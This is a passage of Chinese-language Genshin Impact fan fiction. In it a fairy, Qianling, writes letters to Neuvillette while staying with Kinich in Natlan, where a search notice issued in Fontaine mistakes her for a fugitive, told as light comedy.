千灵飘在基尼奇的桌前。玻璃窗被基尼奇好好地关起来，免得有雨水飞进房间里，他将千灵和小龙都安置在房间里，就做饭去了。
千灵在给那维莱特写信。
她想起第一次跟那维莱特碰面的时候，也是这样的一个雨天，当时她刚认识自己的身体，很高兴地在踩水花。
街上没有多少人，大约都回家去了，店铺也关了门，只有路灯亮着——哦，还是个没有星星的夜晚。
千灵嗅了嗅，闻到雨水的气息，从潮湿变成了温温热的水。
她抬起头，便看到了温热的白开水本人——呃，本龙。
“你好？”
千灵踮起脚尖，白天她好奇地去听了水神大人的戏剧，学会了里面的礼仪。她提起湿哒哒的裙摆，两只脚一前一后，模仿着躬身行礼。
保持平衡对她来说有点困难，不过好歹没把自己绊了一跤。
这是很多年时间之前的枫丹，建筑与现在并没有什么两样，然而人们对待他们这类外部种族的态度截然相反。
接触并融入一个新的生命总是需要一些时间的，显然枫丹的钟表正行走在这样的过渡指针上。
被孤立的，沉默又安静的，排外的雨。
千灵这样闻出了那维莱特身上的味道，相信那维莱特也嗅到了她身上的气息。
大审判官不苟言笑地点头：“你好，仙灵。”
千灵歪头，确信从对方的眼神读出了“寻找到同类”的信号。
和总是游荡在一小块区域里的仙灵不同，千灵拥有自我的意识，和广阔的活动范围，虽然她都是想起来才走动一会。
但依然隐隐有种背负使命的感觉，即使很缥缈。
“我要指引的宝箱不在这里的时间。”千灵比划了一下，不知道那维莱特能不能听懂，“也不在过去。”
她发愁：“我都不知道它在哪里。”
那维莱特显然比她知晓更多关于仙灵的知识。
“通常情况下，你们要等待一个富有勇气的冒险家。”那维莱特语气温和，“或许在等到了勇者之后，你就自然而然地知道宝箱的地点了。”
千灵捧着美露莘递给她的热咖啡，听到那维莱特这话，大脑短暂地卡顿了一下。
“那不就是只有遇到勇者之后才能找到的宝藏吗？听上去我完全没有什么用的样子啊！”
“……”
那维莱特陷入了沉思。
然后他往千灵这边推了推水杯：“这一杯水的味道，也可以细细品味。”
千灵敏锐地眯起眼睛：“你是不是在逃避话题？”
那维莱特可疑地保持沉默。
总之，两个人——两个非人生命最后默契地跳过了“宝藏与勇者与仙灵”这个话题，在其它的领域倒是有很多话可以聊。
在那之后，他们便互相写信，那维莱特处理公务，有时会回复得很慢，大概是两三天。千灵则走走睡睡，同样也会回复得很慢。
大概是两三年。
现在她醒了，积压了好几封信，回复之类的以后再写吧，她要好好跟那维莱特谈论纳塔的见闻。
想必大审判官身居高位好几百年，一定对人类见解颇丰，她还能从他身上学到不少呢。
千灵觉得自己在纳塔过得很是刺激。
又是被盗宝团抢走了摩拉，又是悲惨地睡宝箱，睡到一半还被人揪起来了，还碰见了一只可怜兮兮的小龙。
她之前就尝试过用仙灵的拟态握笔写信，把自己挤挤，弄出两只手的模样。但是十根手指头真是太难捏了。千灵最会的就是及时止损，她干脆放弃，就用两只手一起握住笔，相当吃力地写下字符。
【我在纳塔见到了很多龙，与人姑且是会交流了，但是与龙的交谈却有点吃力。】
【你会一点基本的龙语么？】
短短几行字把她累得够呛。千灵写完，满意地看了看，虽然扭曲了一点，还是不错的嘛！
空气里漂浮进肉类的香气，千灵有点饿了。
她可以不用吃饭的……但是，但是嘴巴馋，又控制不住嘛！
基尼奇端着热气腾腾的肉羹走了过来，千灵愉快地飘了过去。
肉汤是刚被盛出来的，滚烫的红油洒在鲜嫩的青菜上，香料的味道瞬间充满了这间小小的房间，小匿叶龙也精神了，伸着脑袋向他们这边叫。
一瞬间，千灵莫名幻视了打猎回来的大飞鸟和嗷嗷待哺的两个好大儿。
不行。
千灵晃晃脑袋。
她都在胡思乱想些什么啊？
基尼奇盛了满满当当的一盘，弯腰放在小匿叶龙跟前。小龙欢快地摇着尾巴开始享用。
千灵这时候就飘到饭桌面前。
基尼奇看她一眼，似乎很疑惑：“你也要吃？”
千灵眼巴巴地转过头看他。
她纠结要不要变成人形，但是很快被吸引了注意力。
“你明明就准备了我的餐具吧？”千灵用捏出来的手指向他背后，叉着腰说，“我都看到了！”
基尼奇半点也没有拆穿的尴尬，他从容自如地端出来，仿佛刚刚的疑惑都是千灵的错觉：“嗯。是的。”
“你打算用你之前握笔的样子去吃饭？”基尼奇不算委婉地说，“我还不想打扫卫生。”
千灵：“……”
好吧。没有手指就是不方便了。感觉那样吃饭就像一边是嘴一边是筷子的跷跷板，一旦用力就会失去短暂的平衡，永远都吃不上。
她又捏不出来手指嘛。
千灵沮丧地蔫了下去。
基尼奇坐在她对面，握起筷子。
千灵眼不见为净，看不见就当失去嗅觉，突然感到手团被筷子夹住。
千灵：？
她抬头，发现基尼奇并不是去夹肉块，反而用筷子夹住了她捏出来的手团。
千灵惊恐地颤抖，声线都抖了起来：“你、你你你难道是要吃我吗？不是猎龙人，而是要以仙灵为食的怪物？可是我没有肉好吃吧？路边的肉榴果都要比我多汁美味的！”
面前的少年顿住。
然后他继续轻轻用力，在千灵心惊胆战的注视下，木筷从手团上捏出一个小小的手指形状。
“我是在尝试能不能帮你弄出手指。”
他的语气分外古怪。
千灵：“。”
千灵：“啊哈哈……原来是这样啊。太谢谢你了。你可真是一个人美心善的好人啊。”
基尼奇应了一声。
房间里充斥着令人忍不住想要以头抢地的沉默。
好尴尬。
可恶。
千灵硬着头皮保持不动。
表面波澜不惊，实则万马奔腾。
她乖乖地伸出两个手团，没想到基尼奇与外表不同，他的手很灵巧，甚至还捏出了指关节。
房间一时安静下来，只听见小龙不大的咀嚼声，和雨点打在玻璃窗的响声。
玻璃窗之前便被基尼奇提早地关好，冷气没有飘进来。
外面的雨声很大，这间小屋里却充满着暖烘烘的香味。
仿佛晚上睡觉把被子的四个角都掖住的安心感。
基尼奇大概第一次用木筷给仙灵捏手指，这种奇特的经历任谁来估计都是人生头一回。他很认真地垂眸，千灵开始还有些不自在，后面逐渐适应，甚至观察起了基尼奇的发带。
头发好多哦，还有两个挑染的小辫子，耳朵也打着漆黑的骨钉，眼睫毛也长长的，忽闪忽闪。
“好了。”基尼奇说，他抬头，有些疑惑，“你在看什么吗？”
“没什么啦。”
千灵试着展开自己的手，又捏成了拳头，她惊喜地说：“哇！你好厉害啊！”
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基尼奇把这双长度明显小一截的木筷递给她。
下雨天就是要吃热腾腾的肉汤啊！千灵人生满足了。
投喂了小龙，今天又格外新奇地投喂了仙灵的基尼奇也开始吃饭。
千灵吃到一半，忽然想起什么，问：“你知道哪里有送信的地方吗？”
以往她给那维莱特回信只要交给美露莘就好，现在在纳塔，肯定不一样了。
“悬木人有信使。”
但是他倒是从不接信使的活。
基尼奇想起刚刚看见这只小仙灵借了他的笔，歪歪扭扭，一笔一划地在纸上认真写些什么。
他问：“你要寄信？”
“嗯嗯。”千灵眨眨眼，“有跨国服务么？”
-
与下雨的纳塔不同，枫丹此刻是无云的黄昏。
绯色的夕阳透过玻璃，从盛着水的高脚杯中折射出玻璃的泛光。
那维莱特在阅读千灵在梅洛彼得堡留下的诗歌。
他的对面坐着莱欧斯利，公爵大人难得有些不自在地摸摸鼻，而他背后的克洛琳德更是一副居高临下的审判模样。
“事情就是这样。”克洛琳德说，“在莱欧斯利公爵‘无微不至’的看护下，千灵小姐逃走了。”
莱欧斯利：“……可以不用加修饰词的，女士，这听上去实在像一个嘲讽。”
“不用怀疑。”克洛琳德平淡着一张脸，“我就是在嘲讽。”
莱欧斯利：“……”
莱欧斯利：“行。我没话讲。”
他确实也没打算为自己辩驳，事实就是如此，因为他个人对千灵的过分好奇，以及懒得翻阅审判庭遣送过来的公文——在此之前他以为是前几天向上审批的通告单——才造成了如今的局面。
“是我的责任。”莱欧斯利反省，“我已经申请张贴寻人启事。”
克洛琳德纠正：“是寻仙灵。”
“张贴的话还是不要交代千灵小姐的身份。”那维莱特说，“以免被有心人盯上。”
“当然。”克洛琳德说，“那维莱特，她没有来找过你吗？”
“之前她向我问过关于纳塔的龙。”
那维莱特从书桌上取出一叠信件，从纸张的痕迹来看，时间跨越很大。
“我们一般通过信件沟通。”
克洛琳德和莱欧斯利看见其中的几封。
端详了片刻，克洛琳德望向那维莱特，疑惑：“这就是……呃，精灵的语言吗？”
那维莱特认真解释：“不。这是人类的语言。我想大概是千灵小姐是以仙灵的身躯写下的笔迹。”
“这你都能认出来。”
克洛琳德敬佩得心服口服。
简直是刚学会握笔的小孩子画了一只龙蜥形状的深渊魔物，而那维莱特竟然能精准地分辨出她其实是想画美露莘。
而莱欧斯利语气有些飘忽地开口：“她在向你请教人类社会常识的问题？”
甚至他们还煞有其事地互相写了好几封回信，看这日期，整整跨了三年。真是一场酣畅淋漓的学术探讨。
这跟零分去请教五十分如何及格的技巧有什么区别？
差生带差生，争做落榜生。
“所以我并不放心她独自一人出行。”那维莱特说，他天生便有这样的责任感，“而我的信件也有一段时间没有得到回复。”
“我建议更换一下寻人启事的署名落款。”莱欧斯利突然开口，“以枫丹廷的名义。”
那维莱特抬眼，眼神中稍微有些疑惑。
“这个寻人启事，感觉应该更像是商场里的那种。”莱欧斯利清了清嗓子，说，“千灵小朋友，千灵小朋友，听到广播后请迅速来到前台，你的爸爸妈妈正在找你。”
“而不管是来自审判庭，或者是由梅洛彼得堡张贴的寻人启事。”成熟的职场女性克洛琳德，冷静地开口发言，“听上去都应该更像通缉令吧。”
7.07
雨声渐渐小了，千灵趴在窗棂边，月光透过她的身体映照下来，清幽的一小团。
阿乔回来的时候，正看到这一幕。
野山之间，隐藏在深夜的动物在呼唤，月色下的仙灵栖息在滴水的房檐，认真端详着……自己的手指？
说实话，乍一看到长出双手的仙灵还是很恐怖的。
阿乔吓了一大跳：“你怎么长成这副丑陋的样子了！”
“你也是马赛克呀。”千灵有些不高兴地说，“有什么丑不丑陋的。”
“是伟大的库胡勒阿乔——”
“嗯……”之前千灵听到这个名字的时候，表情就有些难以言喻了。
酷糊了？感觉应该不会这么说。那就是裤子糊了的阿乔？
怪不得是马赛克的样子，原来都没衣服穿了。好可怜。
千灵大彻大悟。
阿乔：“……”
阿乔：“……虽然不知道你在想什么，但是总之现在你都给我别想了。”
千灵相当惊讶地看向它：“你好霸道！”
窗边发生的小小争执吸引了小匿叶龙，但是它太困，雨声听得又很舒服，努力睁开眼睛看了看，又一歪头睡了过去。
慢慢有道人影从背后走来。
霸道的裤糊了阿乔遭受了基尼奇一个弹指的制裁。
阿乔在半空画出了一道完美的弧线。
并且发出了反派的声音：“我一定会回来的——”
哇哦。
千灵睁眼看，阿乔刚回来没多久又飞了有好远。她敬畏地望向基尼奇的手指，一个脑瓜蹦就能弹走那么高，也不知道能不能把她一拳打回枫丹。
倒是不用写信了。直接在那维莱特面前从天而降砸到他脑袋上，然后枫丹连夜下雨——
……好像脑补得有些过了。
千灵自己都觉得有些好笑，她抿了抿唇，转头望向基尼奇，问：“就让它在外面睡觉吗？”
“死不了。”基尼奇淡淡地说。
好吧。
这就是与龙同行的国度么。如果是这样的话，那维莱特还是不要来比较好。
千灵还想在信件上补充几句，她飞到信纸旁边，发现基尼奇也坐在书桌上，手指骨节分明，拆下了他的腕表。
他低头看了过来，绚丽的眼睛在台灯下熠熠生辉。
“需要给你让位子么？”
“不用吧。”
千灵认为自己现在小小的，占不了太大的地方，至于信件的内容，给别人看到也没什么关系。
她两只手才能抓住跟她身子一样长的笔，费劲地扑腾着小斗篷，哗啦呼啦地开始写字。
弄出的动静很大，令人想忽视都很难。基尼奇再次望向她：“需要代笔么？”
“我没有摩拉哦。”千灵事先声明地提醒他。
“等明天找找宝箱就有了。”
基尼奇说。
这家伙的算盘敲得她在枫丹都能听到了！
千灵哼哼唧唧：“好吧。”
她把笔交到基尼奇手上，然后飞到他的肩膀上。
基尼奇皱起了被发带盖住一大半的眉毛，他打量了这封信好一会。
“怎么了？”千灵不明所以。
基尼奇语气不太赞同：“你是在哪里买的信纸？我明天带你去问问。有些黑心商家会捡别人不要的草稿纸当货去卖。”
他指了指千灵之前写的几行：“这是什么鬼画符？烟谜主那帮人写完不要的咒文？还是家里养的小龙踩了墨水爬上爬下的脚掌印？”
千灵：“……”
千灵一字一顿，趴在他耳边，毫不客气地说：“那、是、我、写、的。”
基尼奇明显顿了一下。
“嗯……那我可能不太会仙灵的语言。”过了一会，他委婉地说。
“是提瓦特语啦！就是提瓦特语！”千灵自暴自弃，“收信人也认识提瓦特的文字了！是我自己写得丑而已了！”
就非得让她承认是吧。
好烦哦。
窗外的雨这时候完全地停了。纳塔的雨水来得快去得也快，只剩下房檐滴滴答答。
千灵坐在基尼奇的肩膀上，开始憋着一股气数掉下来了几颗雨水。
基尼奇转头看过去。小仙灵生大气，完完全全地背过身了，只剩下一个鼓鼓的斗篷。
“要写什么？”基尼奇说，“你念，我代笔就好了。”
这下完全没办法继续生气了。毕竟人家都帮忙了，虽然是有报酬的帮忙。再生气就不礼貌了。
于是千灵又挪回去了一点点。
“嗯……我想想。”千灵思考了一阵子，然后说，“你就这么写。”
“嗨嘿嗨！没想到吧，我已经到纳塔了！是人与龙同行的国度哦！”
突然响起一道幽幽的声音。
“你要是非要这么介绍，那我也无话可说。”
千灵猛地转过头。原来是被打飞的阿乔，终于不远万里跋涉回来了，趴在窗前，像午夜夺命的厉鬼。
“基尼奇——”
阿乔压着怒意，像是要从嗓子里爆发出一阵骂人的岩浆，还没等到火山爆发，“啪”的一声，基尼奇就关好了窗，严严实实地将它和剩余的粗鄙之语挡在了外面。
动作干脆利落，显然不是第一次这么干了。
千灵忍不住：“噗嗤。”
“抱歉。”基尼奇关好了窗，仿佛什么都没有发生过，他平淡道，“阿乔性格乖戾，不必听它讲话。之前它对你说的什么，也都不用放在心上。”
“好哦。”千灵点头，“其实我也没怎么生气啦。”
千灵对世界的感知尤其敏感，比如小匿叶龙是刚萌发的一个翠绿的新芽。而阿乔在她眼里已经变成了吐脏话泡泡的污染鱼。
鱼吐泡泡是正常现象。虽然是脏兮兮的泡泡。
她口述完了信的内容，基尼奇也写好了。千灵飘过去看，前半段是她写的，歪歪扭扭，后半段基尼奇的字迹意外得很清秀，像林间的树。
“收信处填什么呢……我想想。”千灵思考了一会，“审判庭？枫丹廷？”
认识的有关机构实在不多，千灵挑挑拣拣，想起最近的一个：“梅洛彼得堡？”
“梅洛彼得堡？”
基尼奇语气古怪地重复了一遍。
千灵笑起来：“我开玩笑的啦。”
但是基尼奇像是有别的什么事，他问：“你有认识的人在那边么？”
以及……他看了看千灵，困惑道：“还是说你难道给里面的什么人指引过宝箱？”
他像是很惊讶的样子。千灵觉得自己好像被看扁了。
“别看我这样！”千灵自信满满地说，“我还是很厉害的哦！我可是会一个超级厉害的法术！
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她能够拟态成人的！好多同族都不会，只有拥有强大力量的，极其罕见的仙灵才能够拥有自己的意识，不受拘束地在提瓦特大陆上游荡。
而即使是能够与她交流的仙灵，在时间的流逝里，有的下落不明，有的也蜕化成了只会吟唱的灰色空壳。
她这么多年还好好活着，已经很厉害了。
待会就让他好好瞧瞧！
“那你认识这个人么？”
基尼奇伸手把腕表取过来，点开里面显示的画面。
虽然有故障噪点，但仍然能看清画像，和旁边的几行字。
黑色的字写着：寻……梅洛彼得堡……酬金……千……公爵……
而在字迹的上面，是一个女孩子的画片，也不算是监狱的证件照，用的是梅洛彼得堡的留影机。但画面很阴森，海底的光线有种天然的犯罪滤镜。
深蓝色的海水映照着幽蓝色的长发，女孩子面无表情的一张脸，鲜红的唇色像是刚吃掉了好几个人。
千灵并不在意地一瞥，然后明显地顿住了。
——等等，不对。
啊？
这是我吗？
所幸基尼奇正在专心研究他的腕表，好像并没有察觉小仙灵突如其来的僵硬。
千灵语气飘忽：“……你找她做什么？有仇吗？还是你接了委托，也要猎杀仙灵？”
不会吧不会吧。人不会倒霉成这样吧！
怎么好不容易遇到的一个热心好人还见到了她的案底呀……虽然是那维莱特给她瞎编的一个罪名，好像是随意放生什么动物来着。
“她很值钱。”
基尼奇看上去完全没有意识到她语气里的不对劲。千灵紧张地打量他。毕竟之前他也不知道仙灵的脾气古不古怪吧。
基尼奇坦诚地说：“把她带回梅洛彼得堡能得一大笔摩拉。”
千灵：“……”
指引摩拉者终将变成摩拉。
报应来了。报应真的来了。
“我是最近几天才收到这个讯息的。当时我想，虽然这上面没有写得很清楚，但很有可能是个逃犯。”基尼奇认真地说，“异国的逃犯，流窜到了纳塔，放任她在外很危险。不过，也有一种可能是单纯的寻人启事。无论是哪个猜测，既然发布了声明，还是尽快找到比较好。”
“那……你打算怎么办呢？”千灵试探着问，“怎么就在你的腕表上了？是梅洛彼得堡发布的吗？”
基尼奇转动着那块腕表，他的语气很平静：“是前几天突然出现的委托，发布在我的腕表上，然后我的手表就坏掉了。一直接收不到其他人的消息。所以我最近需要摩拉。”
“我今天打听了一下。”基尼奇说，“好像又突然撤回了。不知道具体情况怎么样。似乎发布人不想太过张扬，我打算私底下先调查调查。”
基尼奇格外真诚。
但这种真诚让千灵浑身上下忍不住一炸。
千灵倒吸了一口凉气。
莱欧斯利，公爵大人——您千里迢迢，还不惜耗费摩拉，只是为了来要我的命啊！
残忍。人类。实在是太残忍了。
“哦，对了。”基尼奇转过头，看向她，似乎还有些期待，“你刚刚说你会什么很厉害的法术……”
“没有。不会。我瞎编的。”
千灵相当干脆利落地回答。
8.08
清晨的雨水已经化干。基尼奇早早起床，日常的委托他还得接着做，维持基本的生计。
他的房间很干净，也不大，平常只有他一个人，或者是聒噪的阿乔。要么安静得要命，要么就被阿乔弄得叮啷当的响，他不是一个热衷于装饰居所的人。
散乱的头发披在肩上，基尼奇打了个哈欠从床上坐起来，随便套上鞋离开卧室，意识还不太清醒，推开门的时候，听到了此起彼伏的，很轻的呼吸声。
他活动着脖子望过去，是那只仙灵和小匿叶龙，大概晚上有点冷，一张小毛毯不够两个分，头碰头依偎在一起，发出平稳的呼吸声，大概在做一个巧克力味道的美梦。
晚上得去买点毛毯。基尼奇脑子有些混沌地想。
太阳慢慢从云层钻出来了，光线照到仙灵身上，有些刺眼睛。她扭了扭，翻了个身。
基尼奇回忆起第一次见面的时候，她就躲在严丝合缝的宝箱里睡觉。难道不太爱见光？
他还以为仙灵这种生物，应该都是有趋光性的。
临时搭建的小窝特意放置在有光的地方，基尼奇放轻了步子，走过去缓慢地将窗帘拉上。
屋内的光线变暗了。
他在照顾人。基尼奇意识到这件事。
已经很多年没有触碰到“家”这个概念了。体验很新奇。
基尼奇站在清晨的窗前，脚边是小小生物发出的安宁气息。他编着头发，简单收拾一会自己，手腕缠绕着格子发带，略微低头，绑在自己的额间。
窗帘的缝隙还是漏了一缕日出的辉光，映照到仙灵的小斗篷，在闪闪发亮。
基尼奇从小就很擅长从门缝里偷偷看外面明亮的风景，野生又自由。
他推开门。
野生又自由的阿乔，被这一开门的力道弹开八米远。
“基尼奇——你故意的吧！”
基尼奇扫了它一眼，没承认也没否认：“走了。”
“你把我关禁闭，竟然去给来路不明的两个东西搭窝。气死我了。”阿乔在他身边嚷嚷，“你不觉得她很诡异吗？纳塔哪有仙灵，还是会说话的！放几千年前都是要被伟大圣龙吃掉的自助餐！”
“我知道她来路不明。但你好好说话。”
基尼奇揣上腕表，表情没有什么波澜。他突然开口：“你那个时代里，仙灵会变成人么？”
“哈？”阿乔转过马赛克的脑袋，因为过分惊讶，气红了的脸又消下去，因为时间过于久远，它想了一会，“只在那帮神神鬼鬼的祭司里有类似的传闻。你问这个干嘛？”
基尼奇没回答，他垂眸，正在推理。
这只仙灵昨晚说漏了嘴，还提到了梅洛彼得堡。
狩猎最需要的就是耐心，在最终落网之前，有一系列的准备工作要做。基尼奇没有打草惊蛇的心思。要是贸然试探，说不定得不偿失，详情见梅洛彼得堡的通告，说不定那只仙灵逃走就是因为察觉到不对。
他一向有耐心。
或许那封信有线索。
但是那只仙灵写的字他实在是看不懂。
基尼奇合理判断那根本就不是人类能看懂的范畴，所以他认为那封信的收信人很大概率就是梅洛彼得堡要找的疑似犯人。至于为什么撤回，大概是考虑到仙灵的特殊身份。
——而至于家里的这只，感觉智商并没有足以支撑起一场犯罪的能力。
基尼奇向来信任自己的直觉。他看向阿乔。
阿乔敏锐地感受到基尼奇的目光。
基尼奇错开。
就连这个样子的阿乔，都比她凶险多了。
阿乔：“……你刚刚是不是在用眼神骂我？”
基尼奇：“伟大圣龙高见。”
“啊啊啊我要用最恶毒的诅咒套在你身上！”
-
“嗯？他不回来吗？”
千灵飘在饭桌前，小匿叶龙也在小窝前面吧唧着嘴。基尼奇早上走之前给他们留了煨在砂锅里的早餐，醒来的时候还是热乎乎的。
回来的只有阿乔，千灵向它背后探探脑袋，被阿乔毫不客气地关上了门。
“砰”的一声。
怎么感觉掺了点私人恩怨。
千灵抖抖小披风。她昨晚睡相不太好，醒来的时候小斗篷跟匿叶龙的尾巴缠在一起，像溅了果汁的毛发，皱皱巴巴的。
“你不会以为他是个好人吧？”阿乔冷哼了一声，飘过来。
千灵看了看趴在地上吃饱的小匿叶龙，又看看阿乔，明晃晃地透露着她的意思：难道不是吗？
“别忘了他可是猎龙人啊！”阿乔恐吓她，“利益至上！摩拉给够了什么活都接。”
小匿叶龙似乎听懂了阿乔的话，原本咀嚼的动作也停顿了，抬头眼巴巴地看着他们。
“人类就是这样残酷，无耻。”
阿乔现在的语气不像是假的，它似乎在回忆什么。千灵感受得到它此刻没有在说胡话，这是从属仙灵一族的天赋。
“因为贫瘠而斗争不休。因为自私而苟延残喘。最后因为愚蠢而命丧回火。”阿乔冷酷地说，“强者生存，弱者淘汰，这就是亘古的规矩。”
阿乔声情并茂，苦口婆心，仿佛一个劝人不要走冤枉路的老婆子，极具个人色彩地控诉基尼奇。
“现实又功利，残酷冷血的杀手，斤斤计较的泥巴猴子……”
“等一下，你的词汇也太丰富了吧。”
是这样的吗？
千灵保持怀疑。她还吃着基尼奇留下的早餐，看了看热乎乎的汤粥，又看了看被救回来的小匿叶龙，怎么想都不应该是阿乔口中的那种人吧。
“我还是比较相信我的眼睛。”千灵想了想，诚实地说，“而且你不是他的同伴吗？背后说人坏话可不好。”
“什么同伴！他只是我契约里的仆从。”阿乔不屑地哼了一声，“我巴不得他早点死。”
“还是直接说出这种话的你比较冷酷吧。”千灵坦诚地说。
出乎意料的是，阿乔并没有因为这个评价而感到羞愧什么的，它十分理所当然，甚至把千灵的话语当作了一种对贵族的夸赞。
稍微有些奇怪。
千灵开始思索。
“眼见为实……呵呵。”阿乔低声笑起来，“那你不如下午去部落里转转，听听别人到底是怎么说的。”
-
讯使长屋。
负责清点委托管理员正分类信件，一边分一边跟旁边来的客人絮絮叨叨着规矩。
“是这样，爆炸颜料我们是不收的，活体运输也是违反规矩的……三倍价钱？不不，这不是钱的问题，客人，你瞧，这么多货，还有新鲜的花朵，多漂亮的花朵，要是路上磕碰摔坏了那多心疼，放眼[悬木人]，大概也只有基尼奇能做到客人的要求的那种程度吧。可是客人你也知道，他本人是从来不接讯使的活。”
客人牵着两只驮着满满当当包裹
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的绵驮兽，一身行头打扮像进货的商贩，急躁地说：“可是米齐卡，我等得，我的客户可等不得。”
“我理解，可是现实就是这样。”被叫做米齐卡的管理员，抹了一把额头的汗水，余光看到走来的基尼奇，招呼了一声，“基尼奇？你要不要来接讯使的活？”
基尼奇：“不。”
米齐卡对商贩耸耸肩：“看吧。”
商贩叹了一口气，牵着绵驮兽走了。
“我听说你最近很缺摩拉。手表坏了？”
米齐卡依旧在忙着分类委托清单，他开始以为基尼奇是终于转性来接讯使的外包，结果如今看上去又不是这样。
“嗯。是的，不过我今天不是来接委托。”
基尼奇说着，千灵就坐在他的肩膀，冒出了一点光，米齐卡终于从百忙之中分出了一个眼神，他定定地看了千灵一会，然后又转向基尼奇。
在看到那张梅洛彼得堡通告的时候，千灵就打定了主意，决定最近绝不轻易变人，当一个安静本分的老实仙灵。
社会还是有些可怕，谨慎一点比较好。
于是她没有说话。
“虽然规矩只定了不寄活物……”米齐卡眼神有点复杂，他措辞委婉，“但是寄仙灵大概也是不允许的。”
千灵：“……”
基尼奇也陷入了片刻的沉默。
现场有些诡异的安静，随后米齐卡咳了一声，试图缓和气氛：“哈哈，开个玩笑。你身手这么好，要想寄送仙灵的话自己亲自动手就可以了。”
千灵：“…………”
什么啊，越说越离谱了。
她是什么容易拆解的包裹吗！
千灵又看向基尼奇。
为什么别人看到她的第一眼是要把她打包啊。你在他们心里到底是怎样的形象啊？邪恶青蜜果吗？
基尼奇顿了顿，说：“我想来寄信，送到枫丹。”
“枫丹？”米齐卡放下了手里的活，诧异地望向基尼奇，“我想你不会不知道，我们和大灵必须互相依存，才能延续下去。可大灵的力量也是有限的，要想离开，得去请首领征求大灵的认可。”
啊？这么麻烦的吗？
千灵有些担忧地看向他们。
“我知道。”基尼奇说，“是想拜托你看看最近的委托人里，有没有要去枫丹的，我可以用一定范围内的报酬支付。”
“嚯！”米齐卡惊叹一声，“得多么金贵的信才值得你亲自帮忙啊？”
居然能让嘴巴不离“摩拉”的基尼奇免费用一次报酬。
“你是替谁送信？当然，事关隐私，不用说也没关系……抱歉，我只是太惊讶了。”
旁边给匿叶龙顺毛的路人猛地转过头，一副见了鬼的表情。
路边涂鸦喷漆的叛逆少年一个不小心踢翻了罐头。
正在谈论交易的商贩们安静了。
周围的人渐渐聚拢了起来，千灵隐约听到他们纷纷在小声议论。
“什么！基尼奇竟然出免费委托了？！”
“我记得今天早上太阳是正常升起的啊？”
“莫非是深渊打过来了？”
议论中心的基尼奇不为所动，看不出什么心理活动。
千灵大受震撼地望向他。
不是。
怎么一次免费的帮忙竟然就能让周围人反应这么大。
你平常难道是什么一言不合就惩治四方的恶霸吗！
9.09
围过来的人相当多，简直像须弥教令院的校招现场，基尼奇很快就找到了一个合适的人选，据他本人声称是出门采集纳塔的燃素，正好要抽空回佩特莉可镇一趟。
“我叫格里斯潘，”格里斯潘高兴地对基尼奇说，“是空想俱乐部的成员，本来在纠结继续留在这里搜集燃素还是回枫丹，没想到你就出现了！真是幸运！”
据格里斯潘说，他本来已经搜集完成，结果莫名其妙被一伙奇怪的龙抢走了装满烬尽花的箱子，只好从头开始。
他的委托并不难，只是想要带有燃素的植物，烬芯花，或者别的什么，基尼奇商量委托的细节，把信交到他手上。
格里斯潘的旁边还蹲着一只白色的小猫，在两位人类讨论的时候，千灵坐在基尼奇的肩膀上，跟它对视了一眼。
小猫的眼睛透露出一种狡黠，歪了歪脑袋，示意她跟着它走。
神奇小猫。
千灵看看它，又看看旁边。
基尼奇和格里斯潘看上去还要商量一会，没有注意到自己，千灵便慢慢飘了过去。
小猫能钻进去的地方，仙灵自然也可以。它和千灵穿过长着青苔的洞壁缝隙，另一边像是山体内部的洞穴深处，有人的声音透过疏漏的缺口传过来。
“……就带回来了这点？”
“没用的东西。”
“不够、不够——远远不够！我要的是这种颜色的火焰，不是这种颜色的植物！”
出现了，恶劣性格的反派！神奇的小猫指引好心的过路人去揭开一个天大的阴谋！
千灵小心地趴在墙壁上看。
这个角度不太好，她只能看见根茎的部分，也分不清到底是不是烬芯花。
她很少看见烬芯花。印象里，它们总是被包裹在花蕊里，成熟的花苞只有在受到冲击后才会绽放开。
“你们觉得自己真的有用吗？这种小事都做不好！”
“要不是我把你们救了回来，现在早就死在基尼奇手里了！”
基尼奇？
之前阿乔的话还在耳边，嚷嚷着什么基尼奇是一个大坏蛋。
而墙壁对面的这人也不知道她在偷听，总不可能联合小猫一起来骗她。
千灵迟疑了一会。
但是基尼奇闻上去其实也不是那种很坏的果子，就跟他早上做饭时用的青蜜果一样味道香甜。
可是……等等。
千灵从对面的墙壁，感受到某种熟悉的特征。
她不安地靠近一点确认。
身为仙灵，虽然遭受诅咒，有退化的部分，但同样的，千灵对于提瓦特的生物有异常敏锐的感知。
善意和恶意，好人和坏人，都能用通感来描绘本质。
比如打劫她的盗宝团就是飘来飘去的乌云，梅洛彼得堡的公爵其实比朴实钩钩果要更冰凉一些，那维莱特闻起来则跟一杯温温热的白开水没什么区别。
好复杂啊……人类社会，其实也并非存在永恒不变，非黑即白的事物。很多场合，他们也搞不清楚自己在做什么。
千灵游荡在梅洛彼得堡的时候，曾经遇到过一个橘发青年。
梅洛彼得堡虽然像是个监狱，实则更像是自治区，有独立的交易体系。通用的货币不是摩拉，而是打工得到的特许券。
那时千灵在破烂骨头商店挑选着货品。
到底是希娜小姐的海报，还是《交涉的艺术》呢。
好纠结啊。
感觉即使是身为人类沟通也需要书籍的知识呢，一定很有用吧。
唔……这个海报也很想要。据说是稻妻最近很火的偶像小姐。
可是她攒的特许券只能够买一样。
千灵纠结得头发打结。
正当她的头发要不幸被主人捆上第三个圈的时候，有道高大的影子从背后覆住了她。
挡到别人的路了。
千灵意识到这件事。她挪到一边。
“你想买什么？顶上的玩具够不到吗？”
千灵抬起头看，一个橘子头发的青年，爽朗热切地笑着。是与公爵完全不同的蓝色眼睛，湛蓝色，但没有高光，像幽邃的海。
但很亲切。他身上有暖烘烘的，不属于海底的热流。
“我没有足够的特许券。”千灵诚实地说。
“没事，我有。”他叫来老板，很是潇洒地说，“一起给了吧。”
千灵不自觉想起读书社团里年轻姑娘们的讨论。
“买单的样子也很帅。”她们叽叽喳喳地说，“从天而降解决麻烦的身影真是棒极了！”
“谢谢。”千灵感激地向他道谢。
她之前就认识一个淳朴的狡诈泡泡橘先生，偶尔会给她带点好吃的泡泡橘。现在又认识了一位好心的橘发先生。
泡泡橘真好。
“小事，我打几场拳赛就挣回来了。”他友善地说，“我是达达利亚，阿贾克斯，怎么叫都行。”
千灵：“你好，我叫千灵。”
“你很像我家乡的小妹。”达达利亚热情地说，“她够不到顶柜的糖果，趁着老爹老妈出门的时候，总是要骑在我脖子上去拿。”
然后他当真在千灵面前蹲了下来，千灵吓了一大跳，着急忙慌地摆手，都结巴了：“不、不不不用了太麻烦了真是荣幸能跟您的小妹有相似的短腿我谢谢你——”
还没说完，对方就捂着肚子笑得上气不接下气。
